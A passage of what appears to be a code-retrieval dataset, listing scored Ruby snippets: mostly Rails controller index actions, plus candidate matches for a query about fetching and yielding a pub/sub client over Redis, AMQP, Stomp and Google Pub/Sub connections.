"docid": "ab3d23882cb786d5e25311801498aed9",
"score": "0.5723826",
"text": "def index\n @api_versions = ApiVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_versions }\n end\n end",
"title": ""
},
{
"docid": "8ef701f198b4c61bf82f1bcd05950f70",
"score": "0.57157695",
"text": "def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"title": ""
},
{
"docid": "6cfb895c241ba707160b65abdcbe6f05",
"score": "0.5712045",
"text": "def index\n @clubs = Club.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clubs }\n end\n end",
"title": ""
},
{
"docid": "284a2cb82d21bb2c835bb48a661aec03",
"score": "0.57078207",
"text": "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"title": ""
},
{
"docid": "5426b424fe55836323b7f1c5ca6314d9",
"score": "0.57076186",
"text": "def index\n @choices = Choice.all\n\n render json: @choices\n end",
"title": ""
},
{
"docid": "260e2c1e7d80880962582b8aff2c2d75",
"score": "0.5698315",
"text": "def index\n @tailors = Tailor.all\n respond_to do |format|\n format.html\n format.json { render json: @tailors}\n end\n end",
"title": ""
},
{
"docid": "a1bed47961cb6d298279de48c93e8201",
"score": "0.56965905",
"text": "def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"title": ""
},
{
"docid": "c25549cd22454783ac4340709c3cf3dd",
"score": "0.5688531",
"text": "def index\n @requisitions = Requisition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requisitions }\n end\n end",
"title": ""
},
{
"docid": "c2de927024c50641df2dab9505940baa",
"score": "0.5679026",
"text": "def index\n @cookbooks = Cookbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cookbooks }\n end\n end",
"title": ""
},
{
"docid": "86aeef39a6857a9933569f8df0793938",
"score": "0.5677877",
"text": "def index\n @election = Election.find(params[:election_id])\n @races = @election.races\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @races }\n end\n end",
"title": ""
},
{
"docid": "a70ff66e977271f114f5214e99479509",
"score": "0.567238",
"text": "def index\n @clients = Client.all\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"title": ""
},
{
"docid": "32f7211d782de45a2518463ccd7ba745",
"score": "0.56649864",
"text": "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"title": ""
},
{
"docid": "de7f871f72fb09e4b21f5a4cd22ca2ac",
"score": "0.56648856",
"text": "def index\n @curnits = Curnit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @curnits }\n format.json { render :json => @curnits }\n end\n end",
"title": ""
},
{
"docid": "f8a4e0e9f327d1a6f73cf68f1bf40baf",
"score": "0.56623244",
"text": "def show\n add_breadcrumb @recipe.name, @recipe\n respond_to do |format|\n format.html\n format.json { render json: @recipe }\n end\n end",
"title": ""
},
{
"docid": "46107e3c37c87055007669cf488519dd",
"score": "0.56613314",
"text": "def index\n # byebug\n if current_user\n recipes = Recipe.all \n render json: recipes\n else \n render json: { errors: [\"Not Authorized\"] }, status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "52c9c812d7dd99ac4caf5812b499fc35",
"score": "0.5659835",
"text": "def index\n @ribbits = Ribbit.all\n end",
"title": ""
},
{
"docid": "76a96804f2117432d5d0d99e0e9c50a6",
"score": "0.56517327",
"text": "def index\n @brochures = Brochure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brochures }\n end\n end",
"title": ""
},
{
"docid": "ba8b8e97a3bed53422672f3a1fdb3c9a",
"score": "0.5650952",
"text": "def index #TODO redundant with home\n add_breadcrumb 'Your hubs', :hubs_path\n append_title 'Hubs'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @hubs }\n end\n end",
"title": ""
},
{
"docid": "a7e8e2ac9ad3e5e5e24ca55ca2c7b073",
"score": "0.56378067",
"text": "def index\n @sections = Section.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sections }\n end\n end",
"title": ""
},
{
"docid": "914acb7751aee52f085063609d347ce8",
"score": "0.5635368",
"text": "def index\n @play_segments = PlaySegment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @play_segments }\n end\n end",
"title": ""
},
{
"docid": "84ca5e295fc7f3ff81114410943edf33",
"score": "0.56339014",
"text": "def index\n @caption_votes = CaptionVote.all\n render json: @caption_votes\n end",
"title": ""
},
{
"docid": "3e0d87d89b4679a80ce577984b0549b7",
"score": "0.5633732",
"text": "def index\n @picks = PickName.order(:id).all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @picks }\n end\n end",
"title": ""
},
{
"docid": "5fe6b2398a151c629eda5d2aa64dd98c",
"score": "0.5631189",
"text": "def index\n @fundamental_resource_pools = Fundamental::ResourcePool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_resource_pools }\n end\n end",
"title": ""
},
{
"docid": "fc127254d5e866bf4830bcbbadafd20c",
"score": "0.56250924",
"text": "def index\n @briefs = Brief.includes(:user).order(created_at: :desc).all\n render json: @briefs, each_serializer: BriefsSerializer\n end",
"title": ""
},
{
"docid": "625f2505fde28b5d5556175518987f84",
"score": "0.56244016",
"text": "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"title": ""
},
{
"docid": "75b86b089c52ba86ac758d74e1e3e672",
"score": "0.5623048",
"text": "def index\n @routines = Routine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routines }\n end\n end",
"title": ""
},
{
"docid": "0098ec44ea1c1b9ed76341bb5c63fa7b",
"score": "0.5622016",
"text": "def index\n @interviews = Interview.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interviews }\n end\n end",
"title": ""
},
{
"docid": "97488dc06f848e384310c4fa0f816fed",
"score": "0.5604198",
"text": "def index\n @curriculums = Curriculum.all\n respond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@curriculums) }\n\t\tend\n end",
"title": ""
},
{
"docid": "e22ec3519bd49a8294f422a792e07e54",
"score": "0.56040275",
"text": "def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"title": ""
},
{
"docid": "1b029a69600b253cf068fc4c6cf31fc7",
"score": "0.560366",
"text": "def index\n @uuids = Uuid.all\n respond_to do |format|\n format.html { render :index }\n format.json { render json: {payload: @uuids} }\n end\n end",
"title": ""
},
{
"docid": "f0a2d0a19448b00a88232a586279e47e",
"score": "0.5600738",
"text": "def index\n authorize! :read, Roxiware::BookSeries\n @series = Roxiware::BookSeries.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series }\n end\n end",
"title": ""
},
{
"docid": "ac38e15ae38ac1ffd22e1f79326e8c05",
"score": "0.559117",
"text": "def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"title": ""
},
{
"docid": "65d6d165066819c7d2f28c74dfcc51e8",
"score": "0.5585407",
"text": "def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"title": ""
},
{
"docid": "b822b201fd2bb0886575e62bed11895f",
"score": "0.5585376",
"text": "def index\n @archivs = Archiv.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @archivs }\n end\n end",
"title": ""
},
{
"docid": "71f0f26d2025e905e0e8cefc96f5af3b",
"score": "0.5575107",
"text": "def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end",
"title": ""
},
{
"docid": "c55bc85d19cb184d1620da5c2c05f2ca",
"score": "0.55732435",
"text": "def index\n @bulletins = Bulletin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bulletins }\n end\n end",
"title": ""
},
{
"docid": "78364089c595978868ce14908303e2b2",
"score": "0.55687845",
"text": "def index\n @rabbits = Rabbit.all\n end",
"title": ""
},
{
"docid": "8528f1b4376fcbce3dfe40bb846f6b23",
"score": "0.55675083",
"text": "def index\n @vrhighlights = Vrhighlight.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @vrhighlights }\n end\n end",
"title": ""
},
{
"docid": "29e6b25b6ade3ff5c7039a339c803314",
"score": "0.55649537",
"text": "def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"title": ""
},
{
"docid": "cec604087a4f74d66bb34f0e4f375bb4",
"score": "0.55648965",
"text": "def index\n @api_versions = ApiVersion.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_versions }\n end\n end",
"title": ""
}
] |
e7ebdd1592c0bde899bf5d01f38b9b2c
|
method used to fetch the pubsub client from the connection and yield it
|
[
{
"docid": "891acc280270909c9c12d7eef6a5ba0f",
"score": "0.0",
"text": "def action_success(action, channel, message)\n action_subscribe?(action) ? message.merge('client_action' => 'successful_subscription', 'channel' => channel) : nil\n end",
"title": ""
}
] |
[
{
"docid": "98436e39b7b3fcede59ee2baafcce762",
"score": "0.7665107",
"text": "def fetch_pubsub\n connect_to_redis do |connection|\n @pubsub ||= connection.pubsub\n yield @pubsub if block_given?\n end\n end",
"title": ""
},
{
"docid": "230727fd547d4b799ea244e969eba548",
"score": "0.6358684",
"text": "def pubsub\n @connection.pubsub\n end",
"title": ""
},
{
"docid": "078d478c0f1718a650f2a5c4a289c6fd",
"score": "0.63290715",
"text": "def with_client\n client = fetch_client\n yield client\n ensure\n @pool.push(client)\n end",
"title": ""
},
{
"docid": "738fcbcf72cb761f5f823b675ada7e18",
"score": "0.6304654",
"text": "def connection\n @connection ||= CelluloidPubsub::ClientConnection.new(\"ws://#{hostname}:#{port}#{path}\", Actor.current)\n end",
"title": ""
},
{
"docid": "39451a8685b256b0a7735a8589324186",
"score": "0.61782545",
"text": "def subscribe(key)\n begin\n @amq ||= MQ.new\n rescue\n raise WorklingError.new(\"Couldn't start amqp client, if you are running this a server, ensure the server is evented (can't think why you'd want to though!).\")\n end\n @amq.queue(key).subscribe do |data|\n value = Marshal.load(data)\n yield value\n end\n end",
"title": ""
},
{
"docid": "85375f7de04ddcf42fb8634d4d9c25ff",
"score": "0.61424637",
"text": "def pubsub\n @pubsub ||= begin\n uri = URI(\"redis://#{@host}:#{@port}/\")\n uri.password = @password if @password\n PubsubClient.new(uri).connect\n end\n end",
"title": ""
},
{
"docid": "5024f024f0541d6b0ee12d072eb65eb5",
"score": "0.6066769",
"text": "def pubsub\n #EM::Hiredis.logger.debug(\"pubsub\")\n @pubsub ||= begin\n @with_pubsub = true\n init_master_pubsub_client\n update_master_pubsub_client(@master_client.host, @master_client.port) if @master_client.connected?\n @master_pubsub_client\n end\n end",
"title": ""
},
{
"docid": "e368292b9e76b92529301ea6d3742422",
"score": "0.60492736",
"text": "def google_pubsub_connection_for_subscription\n conn = google_pubsub_connection\n conn.subscription @server.config.cable[:subscription]\n end",
"title": ""
},
{
"docid": "d59be9678e5cce63848a37ccc8a9c575",
"score": "0.60449684",
"text": "def client\n unless $client\n u = amqp_url\n c = Bunny.new(u)\n c.start\n $client = c\n\n # We only want to accept one un-acked message\n $client.qos :prefetch_count => 1\n end\n $client\nend",
"title": ""
},
{
"docid": "ed6b433956f49497e125a36a9c6ce47e",
"score": "0.60333514",
"text": "def with_connection\n connection = check_out\n return yield connection.client\n ensure\n check_in(connection)\n end",
"title": ""
},
{
"docid": "cedb0c21008a8b5b7e04bd3a4a3ebcb7",
"score": "0.60228276",
"text": "def connection\n yield @conn if block_given?\n @conn\n end",
"title": ""
},
{
"docid": "97c574c9b198cc819b775dad60ec1c7b",
"score": "0.5994469",
"text": "def each\n next_token = nil\n begin\n opts = request_opts\n opts[:next_token] = next_token if next_token\n resp = client.send(list_request, opts)\n resp.subscriptions.each do |sub|\n subscription = Subscription.new(sub.subscription_arn,\n :endpoint => sub.endpoint,\n :protocol => sub.protocol.tr('-','_').to_sym,\n :owner_id => sub.owner,\n :topic_arn => sub.topic_arn,\n :config => config\n )\n yield(subscription)\n end\n next_token = resp.data[:next_token]\n end until next_token.nil?\n nil\n end",
"title": ""
},
{
"docid": "a0d9e024cb9b9c4d7bbc8a79d325ab3b",
"score": "0.5902175",
"text": "def client\n unless $client\n c = Bunny.new(amqp_url)\n c.start\n $client = c\n\n # We only want to accept one un-acked message\n $client.qos :prefetch_count => 1\n end\n $client\n end",
"title": ""
},
{
"docid": "b0a081d7d91b66b3c6d9b35b0a4d0da6",
"score": "0.5882627",
"text": "def connect(client)\n subscription_id = gen_id\n subscribe(client['subscriptions'], subscription_id, client)\n subscription_id\n end",
"title": ""
},
{
"docid": "4b9cd917372e6d3ca0bedcb08570c013",
"score": "0.58796215",
"text": "def client\n unless $client\n c = Bunny.new(amqp_url)\n c.start\n $client = c\n\n # We only want to accept one un-acked message\n $client.qos :prefetch_count => 1\n end\n $client\nend",
"title": ""
},
{
"docid": "f83a62b1995baa388861d4fc731932af",
"score": "0.5873546",
"text": "def client\n @client ||= prepare_client\n end",
"title": ""
},
{
"docid": "b7039c6a759a3b4bd2a2c4442e64ca85",
"score": "0.58714026",
"text": "def subscribe_and_run(topic, &block)\n @client.subscribe(topic)\n @client.get &block\n end",
"title": ""
},
{
"docid": "020be08c290ab6c8cb69f337cdd84df7",
"score": "0.58252156",
"text": "def connect\n client = new_client\n yield(client)\n client.close\n end",
"title": ""
},
{
"docid": "ee82a4fa1604c1e9f2f6b84fb064386b",
"score": "0.5820763",
"text": "def subscribe(key)\n @amq.queue(key).subscribe do |header, body|\n\n puts \"***** received msg with header - #{header.inspect}\"\n\n value = YAML.load(body)\n yield value\n end\n end",
"title": ""
},
{
"docid": "926f5fe478e9beb09bf28b1007297fe9",
"score": "0.5819823",
"text": "def client\n\trequire 'irb'\n\trequire 'async/redis/client'\n\t\n\tendpoint = Async::Redis.local_endpoint\n\tclient = Async::Redis::Client.new(endpoint)\n\t\n\tAsync do\n\t\tbinding.irb\n\tend\nend",
"title": ""
},
{
"docid": "7bbfdaf94bf463240bd5d5346ecbe1e8",
"score": "0.5810658",
"text": "def get_current_client\n return unless initialized?\n get_current_hub.current_client\n end",
"title": ""
},
{
"docid": "a381d875acff2bd6b44e75868ed79fb4",
"score": "0.5804657",
"text": "def client\n return @client\n end",
"title": ""
},
{
"docid": "c384174ce2282894a29c18ad783e38de",
"score": "0.57927847",
"text": "def subscribe\n @rabbit.channel.prefetch(1)\n begin\n @queue.subscribe(block: true, manual_ack: true) do |delivery_info, metadata, payload|\n message = JSON.parse(payload, symbolize_names: true)\n yield message\n @rabbit.channel.ack(delivery_info.delivery_tag)\n end\n rescue Interrupt => _\n @rabbit.close\n end\n end",
"title": ""
},
{
"docid": "77420eec0b1df813be7db730ef259e54",
"score": "0.57591295",
"text": "def fetch_channel_and_exchange\n ret = nil\n\n @publisher.instance_eval do\n # ensure_connection connection first\n @mutex.synchronize do\n ensure_connection! unless connected?\n end\n ret = [@channel, @exchange]\n end\n\n ret\n end",
"title": ""
},
{
"docid": "25d80aad47a3303300529af8ccec7abe",
"score": "0.575189",
"text": "def with_channel\n connect unless @connection&.open?\n @connection.with_channel { |c| yield c }\n end",
"title": ""
},
{
"docid": "f6314e071fc540267a57a1e31c9829d0",
"score": "0.573499",
"text": "def get_client()\n conn_hdrs = {\"accept-version\" => protocol(),\n \"host\" => virt_host(), # the vhost\n }\n if heartbeats()\n conn_hdrs['heart-beat'] = heartbeats()\n end\n\n conn_hash = { :hosts => [\n {:login => login(), :passcode => passcode(), :host => host(), :port => port(),\n :ssl => usessl()},\n ],\n :connect_headers => conn_hdrs,\n }\n conn = Stomp::Client.new(conn_hash)\n end",
"title": ""
},
{
"docid": "454127793ac33ab81531c6b66851a2b3",
"score": "0.5733556",
"text": "def subscribe(key)\n @amq.queue(key, @options).subscribe(@options) do |value|\n yield YAML.load(value)\n end\n end",
"title": ""
},
{
"docid": "918910aac6227982d395cb3e91605033",
"score": "0.56891245",
"text": "def get_conn\n unless !@sender.adm.avlconn\n conn= @sender.adm.get_connections{ |pm|\n yield pm if block_given?\n }\n end\n return conn\n end",
"title": ""
},
{
"docid": "d2cba0b50336855ebe0c400bade64cc0",
"score": "0.5682704",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "1aac16a2f4c3bbef7dd5905d5e751b5c",
"score": "0.5674823",
"text": "def test_pub_sub2()\n conn = Scalaroid::PubSub.new(conn = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL))\n conn.close_connection()\n end",
"title": ""
},
{
"docid": "8193ed58910c597fcc8d55a3cd67fcd0",
"score": "0.565054",
"text": "def fetch_client\n @client = Client.get_from_memcache(@client_id)\n end",
"title": ""
},
{
"docid": "e352ddaf0bec9a33b836b82c3594dcdf",
"score": "0.5635766",
"text": "def resource_client(version = 'v1')\n client = Pharos::Kube.client(@host, version)\n block_given? ? yield(client) : client\n end",
"title": ""
},
{
"docid": "f06f555c0a74597076c7b6c0c94a7003",
"score": "0.5633793",
"text": "def client\n @client ||= client!\n end",
"title": ""
},
{
"docid": "f06f555c0a74597076c7b6c0c94a7003",
"score": "0.5633793",
"text": "def client\n @client ||= client!\n end",
"title": ""
},
{
"docid": "826265ebe71c8375683728e7f4f6adc9",
"score": "0.5627788",
"text": "def connection\n #XXX duplicated code from Pooler.r to avoid proc-ing the blk\n Fiber.new do\n server = backend.next\n yield connection_class.start(Fiber.current, server.host, server.port)\n end.resume\n end",
"title": ""
},
{
"docid": "a344d9ae1ad4ab4d1d28a2b679465796",
"score": "0.5621394",
"text": "def subscribe(key)\n queue_for(key).subscribe(:timeout => 30) do |value|\n data = Marshal.load(value) rescue value\n yield data\n end\n end",
"title": ""
},
{
"docid": "a225bc3ac329a7f6ec3f081c5e8ac99f",
"score": "0.5619667",
"text": "def client\n @client ||= client!\n end",
"title": ""
},
{
"docid": "81fd13c282bf204a2bb23ddb36687fa9",
"score": "0.56184983",
"text": "def redis_subscribe\n @subscriber.subscribe(@redis_channel) do |message, _, data|\n case message\n when \"subscribe\"\n # nop\n when \"unsubscribe\"\n # nop\n when \"message\"\n body, headers = unpack_message(data)\n channel, id = headers.values_at(:channel, :id)\n\n @subscriptions_by_channel[channel].each do |subscription| \n subscription.call(channel, body, id) \n end\n else\n STDERR.puts \"Don't know how to handle #{message.inspect}\"\n end\n end\n end",
"title": ""
},
{
"docid": "fea0a89b7ff6a43ef25002e8207cfe16",
"score": "0.55969787",
"text": "def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/pubsub/v1/pubsub_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @subscriber_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::PubSub::V1::Subscriber::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"title": ""
},
{
"docid": "2a35ae71a12282a47ecfd3ab1f9ab215",
"score": "0.5595757",
"text": "def client\n @_client\n end",
"title": ""
},
{
"docid": "e5e4e1de5c15548aa9f7e961592a3695",
"score": "0.5595152",
"text": "def fetch\n establish_connection\n get_messages\n close_connection\n end",
"title": ""
},
{
"docid": "d2275c420467b82809c848a2d774f6f7",
"score": "0.55878973",
"text": "def subscribe(key)\n @amq.queue(key.to_s).subscribe do |value|\n yield Marshal.load(value)\n end\n end",
"title": ""
},
{
"docid": "e71e247413e6f6aeda8ca5b7a3762d93",
"score": "0.5575854",
"text": "def connection\n redis = Redis.new @config\n redis = Redis::Namespace.new @config[:namespace], :redis => redis if @config[:namespace]\n \n begin\n yield redis\n ensure\n redis.quit\n end\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "d1e26304206eef3d703962ff04a42cc9",
"score": "0.55670863",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "2ce96c38b81e9123f625aee6081566ae",
"score": "0.5566917",
"text": "def get_client()\n hash = { :hosts => [ \n {:login => user, :passcode => passcode, :host => host, :port => port},\n ],\n :connect_headers => get_conn_headers(),\n :stompconn => get_stomp_conn(),\n :usecrlf => get_crlf(),\n }\n\n client = Stomp::Client.new(hash)\n client\n end",
"title": ""
},
{
"docid": "393c3bbb3ff06d8b92659d6d38684975",
"score": "0.5562771",
"text": "def subscribe channel, &block\n @client.subscribe channel, &block\n end",
"title": ""
},
{
"docid": "793a3a14ced62f18f0d370941f53a740",
"score": "0.5552667",
"text": "def get_messages\n @@log.debug \"clearer client starting, thread is: #{Thread.current}\"\n received = nil\n #\n # Note: in the subscribe loop there is actually a separate\n # thread!!\n #\n @client.subscribe(@queue_name,\n {\"client-id\" => @client_id} ) do |message|\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n received = message\n end\n sleep 2.0 until received\n @client.close\n @@log.debug \"clearer client ending, thread is: #{Thread.current}\"\n end",
"title": ""
},
{
"docid": "f468c156dc6e71d12112c63a91c2b211",
"score": "0.5550158",
"text": "def subscribe(key)\n queue_for(key).subscribe do |value|\n data = Marshal.load(value) rescue value\n yield data\n end\n end",
"title": ""
},
{
"docid": "1dcf7966696b2452178efc77a2717b5b",
"score": "0.5537732",
"text": "def client\n @client ||= self.class.base_client\n end",
"title": ""
},
{
"docid": "cc236874744e247fc59b964f5d0a54b9",
"score": "0.5522026",
"text": "def client\n\t\treturn @child_channel\n\tend",
"title": ""
},
{
"docid": "027052d386dc27ae20f00e2e523f5d2c",
"score": "0.5515326",
"text": "def fetch_client\n @client = Client.get_client_for_api_key_from_memcache(@api_key)\n end",
"title": ""
},
{
"docid": "178a5724f4049c60cdc62558fc2be8a0",
"score": "0.5514073",
"text": "def with_client\n initial_client = Esi::Client.current\n switch_to\n yield(self) if block_given?\n ensure\n initial_client.switch_to if initial_client\n Esi::Client.switch_to_default unless initial_client\n end",
"title": ""
},
{
"docid": "58e34f11f5f371b5e416adc0a983af87",
"score": "0.5508791",
"text": "def connection\n redis = Redis.new @config\n redis = Redis::Namespace.new @config[:namespace], :redis => redis if @config[:namespace]\n\n begin\n yield redis\n ensure\n redis.quit\n end\n end",
"title": ""
},
{
"docid": "0cd4a04e9b5cf334f0cfd84793042cf4",
"score": "0.5504324",
"text": "def client\n @client ||= create_client\n end",
"title": ""
},
{
"docid": "ff35f359e18adbbf4c629bf5af299c0e",
"score": "0.55021083",
"text": "def client\n return @client\n end",
"title": ""
},
{
"docid": "a1700dc45df3fc625533beaaaaa69ca7",
"score": "0.5494726",
"text": "def pub_redis\n @pub_redis ||= new_redis_connection\n end",
"title": ""
},
{
"docid": "cce01ffad8102852ea40cf7f74e82354",
"score": "0.54942036",
"text": "def subscribe(key)\n @pubsub.subscribe_to(key)\n\n # filter out the subscription notification message that was generated by subscribing to the node\n @pubsub.get_subscriptions_from_all_nodes()\n\n @pubsub.add_event_callback do |event|\n event.payload.each do |e|\n e.children.each do |child|\n yield Hash.from_xml(child.children.first.to_s) if child.name == 'item'\n end\n end\n end\n end",
"title": ""
},
{
"docid": "1fbb74cdbe8cf1d8200e4c4d8260e973",
"score": "0.5491816",
"text": "def client\n client_mutex_synchronize { @client ||= make_client }\n end",
"title": ""
},
{
"docid": "9ebacb4905b24c19c179418bc4f60d67",
"score": "0.5488441",
"text": "def client\n @client ||= new_client\n end",
"title": ""
},
{
"docid": "2f8b0c69fd2089691ff950e6c3427801",
"score": "0.54883915",
"text": "def fetch_message\n @consumer.each_message do |fetched_message|\n message = Message.new(\n fetched_message.topic,\n fetched_message.partition,\n fetched_message.offset,\n fetched_message.key,\n fetched_message.value\n )\n\n yield message\n end\n end",
"title": ""
},
{
"docid": "33c3a76cb89cd80c639d04a5e4be1552",
"score": "0.5480771",
"text": "def connection\n pool.with do |conn|\n yield(conn)\n end\n end",
"title": ""
},
{
"docid": "41c291d7ed3dae9e861510c2736da5c4",
"score": "0.5457674",
"text": "def each_client\n each_service_uri do |uri|\n begin\n remote = DRbObject.new_with_uri(uri)\n yield remote\n rescue DRb::DRbConnError\n rescue => e\n puts \"Error sending message to client: #{e.message}\" if @verbose\n end\n end\n end",
"title": ""
},
{
"docid": "35f51cfa8846d142b0ef9d7fbdaa089e",
"score": "0.54532516",
"text": "def monitor\n synchronize do |client|\n client = client.pubsub\n client.call_v([:monitor])\n loop do\n yield client.next_event\n end\n end\n end",
"title": ""
},
{
"docid": "9b97ebbdae4e115710503f3e74ed1d28",
"score": "0.54532367",
"text": "def subscribe\n Sidekiq.redis do |conn|\n conn.subscribe @channel do |on|\n on.subscribe do\n @subscribed = true\n @callbacks.run(\"ready\")\n end\n\n on.message do |_channel, data|\n message, payload = Marshal.load(data)\n @callbacks.run(\"message:#{message}\", payload)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c8e79dd6e5c5f707d5a5790448edea5e",
"score": "0.5440309",
"text": "def connection\n client.send(:connection)\n end",
"title": ""
},
{
"docid": "c8e79dd6e5c5f707d5a5790448edea5e",
"score": "0.5440309",
"text": "def connection\n client.send(:connection)\n end",
"title": ""
},
{
"docid": "c8e79dd6e5c5f707d5a5790448edea5e",
"score": "0.5440309",
"text": "def connection\n client.send(:connection)\n end",
"title": ""
},
{
"docid": "c8e79dd6e5c5f707d5a5790448edea5e",
"score": "0.5440309",
"text": "def connection\n client.send(:connection)\n end",
"title": ""
},
{
"docid": "c8e79dd6e5c5f707d5a5790448edea5e",
"score": "0.5440309",
"text": "def connection\n client.send(:connection)\n end",
"title": ""
},
{
"docid": "16a82b4f9f46e45906cf7db8694c453e",
"score": "0.5437492",
"text": "def start\n cseq_read_client_id\n yield if block_given?\n seq_read_greeting\n end",
"title": ""
},
{
"docid": "61e6fbac3798533a396fa2b3363a6904",
"score": "0.54279095",
"text": "def client\n @client ||= BgExecutor::Client.new\n end",
"title": ""
},
{
"docid": "0105ff2923f5f21f5d5b49dd04f984ba",
"score": "0.5420737",
"text": "def get_messages()\n @@log.debug \"getter client starting, thread is: #{Thread.current}\"\n received = nil\n #\n # Note: in the subscribe loop there is a separate\n # thread: the 'callback listener'!.\n #\n count = 0\n #\n # Choose this value carefully. The value _must_ exceed:\n #\n # * the time it will take to receive the first message.\n # * the maximum single message processing time\n #\n # However, the value used _should_ be as small as possible!\n #\n secs_to_sleep = 5\n #\n # How long it takes to process a single message.\n #\n message_processing_time = 0.01\n #\n #\n #\n receive_start = Time.now\n @client.subscribe(@queue_name,\n {\"persistent\" => true, \"client-id\" => @client_id,\n 'ack' => @ack} ) do |message|\n @@log.debug \"subscribe loop, thread is: #{Thread.current}\"\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n received = message\n count += 1\n # \n procmsg(received, message_processing_time)\n if @ack == \"client\"\n @@log.debug \"subscribe loop, sending acknowledge\"\n @client.acknowledge(received)\n end\n receive_start = Time.now\n end\n # sleep until:\n # a) a maximum specfied wait time after the last receive is exceeded\n sleep 0.5 until ((Time.now.to_i - receive_start.to_i) > secs_to_sleep)\n #\n @client.close\n @@log.debug \"getter client received count: #{count}\"\n @@log.debug \"getter client ending, thread is: #{Thread.current}\"\n end",
"title": ""
},
{
"docid": "dc63bc7a328caeecb783d84da9c5befa",
"score": "0.54189974",
"text": "def client\n self.class.client\n end",
"title": ""
},
{
"docid": "dc63bc7a328caeecb783d84da9c5befa",
"score": "0.54189974",
"text": "def client\n self.class.client\n end",
"title": ""
},
{
"docid": "25ebda034251e2e8e12994ca8a5fb02c",
"score": "0.5405089",
"text": "def client\n @client\n end",
"title": ""
},
{
"docid": "6efa74ad8511e0a7c5269ce1ef0c49ed",
"score": "0.5398353",
"text": "def retrieve(key)\n @pubsub.get_items_from(key, 1)\n end",
"title": ""
